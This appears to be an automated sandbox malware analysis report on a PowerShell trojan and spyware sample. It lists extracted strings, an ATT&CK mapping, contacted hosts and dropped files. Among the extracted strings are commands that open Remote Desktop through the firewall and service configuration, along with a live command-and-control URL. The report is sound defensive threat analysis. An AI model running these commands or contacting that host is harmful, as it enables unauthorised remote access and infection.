l==UCyxSVy95PRceAJcQQODNTF8NX9heBhhdrY=QSOr6et=SXuB6yKp6Xt0JyBhZl==RQCHOs==UBuwSyt8NXVeeRNpeMo=RBYl7yYpBAdgZa==QQOJMuNyOyYRRRxO0QR1drp5jO==Qha2SyKdSR5f0RM=ThYA7yYlUXYy4yYqQXYv5UGmVXawKyKdSR5f0RM=MytAFrFSGecZPK==chx=dXx=QXYw7yKl7x1PfRFlPnFyiUvQ9MrkcnMpZhYA5KQbRSRcPsFic8Zz4EDocIQwLSWnLNPvEKPkDLeF5UURSR5VMOVpd8FAh0jQ9LZxOixgbYyvEOG97BE2JA9hc1YdNkP8bvulOyxgaRmn5eukSO0dIbPMJUYl7BVpew5Uf2FqTgz8awrvaWJbdBax5aYmRYRgew5zeMNq3UYDA6QNDLdvEKPkEN0=LNPPv9==PYCl6bPoLheySo==QXYw7yKl7x1PfRFlPnFmhFzi9LDkdGhpbdY6EP3U7t1hcXNtM2ZDgETkWRZnZWM=UWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8RWctdMZ54VHEWLRoXEJpbSq37yKpMhFo0K==QXYv6zKRSSJJZQ5lYRylSyKdSXhkbgxsc19AhFDoaSH4dn YeSdyFLxqGyUXOtk5M0b=LSKw4OCmSBUoUWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8WQ9peLZp0kjaXLZfQ05IVAyRMxmNLPRAUVA=UWaVOwKEQzNqchVyc7BY4VOmKsvfU2RsdhalSPC4JhFubQREb2RBgEDVVuPsZGRpVhamSOYAKv==XypyFvp=RBKoRPKj7ANgeBVpcrhEQjfIXMDybHRUaRYwRBKoRPKj7ANgeBVpcrhEQjjIXMDybHRUaRYwUVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYBiMdG4JYVtdgZueK3qhlLf RU=UCyxSzKa7z5ccQY=MepzHI==MepAF9==MepzG9==MepAGI==QYKA6eKl7zJWbQBkXv==Oed8ciKwSymjFuIp0RllLXhiIiGj6Uii4RxnJwcmJHcugQy9IdpoCaqR4R1gcXZ0JIIlOgW7XvLvIA==JdNiKP7g7xI=IdpoCaqpSR4bIxNoBs==UBY5SPyq4BVncw9lfLY=LRK6SOCS7BlqchFvcLpojQzoXLRydGRtaR3wSOF8EPZkcAYgJl==Ib==cX737yGm7X4bMRQgM2UlRy==cYFa6o==chuwSyYkSXK7ReY96hQbUAJ5c8Z52DzoXLnyYWM=MypyFvpRFOk=MypyFvpRFeI=MypyFvpRFeM=MypyFvpRFXY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: RegSvcs.exe	String found in binary or memory: net start termservice
Source: RegSvcs.exe, 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: RegSvcs.exe, 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta60c430246a6b5eabfeff991901daa754340bbf41c5952b1373dfe1ff8834fec26467e7e9fc62574ce418d4877910b7601ae5eMO24EbtoFt4sNNYuNYQCLu7I7fJS4hgVSANTM7pz4ETUJcrrcA==NNTzFs==UtPn5zJkJNQu7I==LNKu7I==YRGoFvFVGRNcOa==RY727PKkEhVZ0K==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxT21dZL==UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeOPCc6dBObAZscHFLg0vaXMzCUYGj6fGS6v==UhKvYXQmBuYuBAJISypSJHcEQ1C7UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033ScLxciKwSymjFuIbUCyxSVy95SM=UVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYCeJVKp6hVpez3ldsRug033PM8zbG5sZSyeNU7c5BwbSgcs0LZDhu==JQKVKNyHNf9BTOBFKV==Xzuy6s==UzYVOs==RVKWaRF8diB8cXF8bYB8Yh 8YSx8cBB8dRT8ZBP8YSN8bCN8bX28ceP=YYynSuUb5Bx3ZWBpdH9pgEvYYYynSuUb5Bw=YXmr6uUb5Bw=Zyt=ZOt=ZOx=ZOB=TRur59==aCG26vdmEr==aCG26zBXEt8=ZS7nZBmuYXQmcCBzbSCrehayLYu34OKRPBB+PBF+LWqu7O3g5iMqKthtIr==fv==JiKw4PF0PL==cX7n5ylqFd5fcAA=aXKA5eKjFuIp0ABsRXK2MeuR4SZgVXpzeLZyXU3c l==UCyxSVy95PRceAJcQQODNTF8NX9heBhhdrY=QSOr6et=SXuB6yKp6Xt0JyBhZl==RQCHOs==UBuwSyt8NXVeeRNpeMo=RBYl7yYpBAdgZa==QQOJMuNyOyYRRRxO0QR1drp5jO==Qha2SyKdSR5f0RM=ThYA7yYlUXYy4yYqQXYv5UGmVXawKyKdSR5f0RM=MytAFrFSGecZPK==chx=dXx=QXYw7yKl7x1PfRFlPnFyiUvQ9MrkcnMpZhYA5KQbRSRcPsFic8Zz4EDocIQwLSWnLNPvEKPkDLeF5UURSR5VMOVpd8FAh0jQ9LZxOixgbYyvEOG97BE2JA9hc1YdNkP8bvulOyxgaRmn5eukSO0dIbPMJUYl7BVpew5Uf2FqTgz8awrvaWJbdBax5aYmRYRgew5zeMNq3UYDA6QNDLdvEKPkEN0=LNPPv9==PYCl6bPoLheySo==QXYw7yKl7x1PfRFlPnFmhFzi9LDkdGhpbdY6EP3U7t1hcXNtM2ZDgETkWRZnZWM=UWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8RWctdMZ54VHEWLRoXEJpbSq37yKpMhFo0K==QXYv6zKRSSJJZQ5lYRylSyKdSXhkbgxsc19AhFDoaSH4dn YeSdyFLxqGyUXOtk5M0b=LSKw4OCmSBUoUWaVOwKEQzNWdhNlcsVIg03QabZvU2RUXzCx5fGp5Xx8WQ9peLZp0kjaXLZfQ05IVAyRMxmNLPRAUVA=UWaVOwKEQzNqchVyc7BY4VOmKsvfU2RsdhalSPC4JhFubQREb2RBgEDVVuPsZGRpVhamSOYAKv==XypyFvp=RBKoRPKj7ANgeBVpcrhEQjfIXMDybHRUaRYwRBKoRPKj7ANgeBVpcrhEQjjIXMDybHRUaRYwUVYIOx3sNfV8UQpjdrcEg0XQVu4sbmNpdYBiMdG4JYVtdgZueK3qhlLf RU=UCyxSzKa7z5ccQY=MepzHI==MepAF9==MepzG9==MepAGI==QYKA6eKl7zJWbQBkXv==Oed8ciKwSymjFuIp0RllLXhiIiGj6Uii4RxnJwcmJHcugQy9IdpoCaqR4R1gcXZ0JIIlOgW7XvLvIA==JdNiKP7g7xI=IdpoCaqpSR4bIxNoBs==UBY5SPyq4BVncw9lfLY=LRK6SOCS7BlqchFvcLpojQzoXLRydGRtaR3wSOF8EPZkcAYgJl==Ib==cX737yGm7X4bMRQgM2UlRy==cYFa6o==chuwSyYkSXK7ReY96hQbUAJ5c8Z52DzoXLnyYWM=MypyFvpRFOk=MypyFvpRFeI=MypyFvpRFeM=MypyFvpRFXY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 File and Directory Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	44 System Information Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nYT1CaXH9N.ps1	8%	Virustotal		Browse
nYT1CaXH9N.ps1	24%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://176.113.115.131/8Fvu5jh4DbS/index.phpl	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpW-;	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpd	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.php	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpXNtM2ZDgETkWRZnZWM=	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpb	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpn-	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.php-	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpmmon	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpj	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phped/	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpZ-	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpK	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phped	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpV	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.php)-	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpx	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpE	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpedY	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpdK	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.php0	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpw	0%	Avira URL Cloud	safe
http://176.113.115.131/8Fvu5jh4DbS/index.phpq	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://176.113.115.131/8Fvu5jh4DbS/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://176.113.115.131/8Fvu5jh4DbS/index.php-	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpl	RegSvcs.exe, 00000003.00000002.4127608803.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1864550591.00000296DC2DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpj	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpd	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.1840009085.00000296CCC64000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpW-;	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpn-	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpXNtM2ZDgETkWRZnZWM=	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpb	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.0.dr	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpmmon	RegSvcs.exe, 00000003.00000002.4127608803.0000000001407000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpV	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phped/	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpK	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpJ	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpZ-	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpE	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpD	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phped	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1864550591.00000296DC2DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.php)-	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpdK	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpedY	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpx	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1840009085.00000296CBA71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1840009085.00000296CBA71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.phpw	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.131/8Fvu5jh4DbS/index.phpq	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.131/8Fvu5jh4DbS/index.php0	RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.113.115.131	unknown	Russian Federation		49505	SELECTELRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585766
Start date and time:	2025-01-08 08:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nYT1CaXH9N.ps1 renamed because original name is a hash value
Original Sample Name:	ab733235a722c734fb8f19160825cef1.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@8/10@0/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 86% Number of executed functions: 26 Number of non-executed functions: 96
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 20.190.159.64, 4.245.163.56, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6544 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:41:57	API Interceptor	41x Sleep call for process: powershell.exe modified
02:41:58	API Interceptor	11890654x Sleep call for process: RegSvcs.exe modified
02:42:13	API Interceptor	1x Sleep call for process: wermgr.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	iy2.dat.exe	Get hash	malicious	XWorm	Browse	176.113.115.170
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	82.148.27.5
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	176.113.115_1.170.ps1	Get hash	malicious	XWorm	Browse	176.113.115.170
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	178.132.202.249
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	https://img10.reactor.cc/pics/post/full/Sakimichan-artist-Iono-(Pokemon)-Pok%c3%a9mon-7823638.jpeg	Get hash	malicious	HTMLPhisher	Browse	82.202.242.100

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_cff3fccfaef89fe97e70f334411924bd667e9abb_00000000_15fea88f-d6f7-40fb-bddb-be4befca8ab2\Report.wer

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.531657160926199
Encrypted:	false
SSDEEP:	96:zyFMjfVrxYidNRH3Uje0e35/3ooLF1QXIGZAX/d5FMT2SlPkpXmTAqUf/VXT5NHn:2A9mGNR30m8AzuiFckZ24lO8
MD5:	4F50282A28993C1E65E5539AB1F7C3EA
SHA1:	269854EF0F7C7BAFD5932BFD508E218355966CCE
SHA-256:	94CBE5C3E3F402C4B0B9375CC5C8263590166281C99AD42A44F1D1FC3CEDE774
SHA-512:	1A513F0BAB39A7627EF5CE64C62F5D467C27884D05138C753092CAD5955C6AD08F74B3E271D437F51A3825D9D8DACFA727D38EF801B0FD9075CB9ED062069BDF
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.7.9.5.7.6.6.0.6.6.1.4.5.5.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.7.9.5.7.1.9.0.1.8.1.9.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.5.f.e.a.8.8.f.-.d.6.f.7.-.4.0.f.b.-.b.d.d.b.-.b.e.4.b.e.f.c.a.8.a.b.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.9.0.-.0.0.0.1.-.0.0.1.4.-.f.8.a.e.-.8.8.c.a.a.0.6.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DB1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7288
Entropy (8bit):	3.732108584879017
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbrEQAIBi6YR7/KVRtjcvZgmfHNpX6PrFE5aMibm:R6l7wVeJrEgBi6Y9yVRtOgmftY+pibm
MD5:	EE49955FEB8EABACE9450D2BD0B011C9
SHA1:	04F3D999DB2A6E949C652EC07B4198407BB66CE3
SHA-256:	9142E6097758DBB8A05048968C3F70E9206D34B7A8C8D64BD89F25AFC35F3569
SHA-512:	BF80E46F4CA589D7DFEE8782ABC1841C25742D32BBAE78C041349C8CC20EBC4C97032FA7A3639C1EB30D62686E208666E76474AB4DE873C42D7C9C7D7A88E436
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 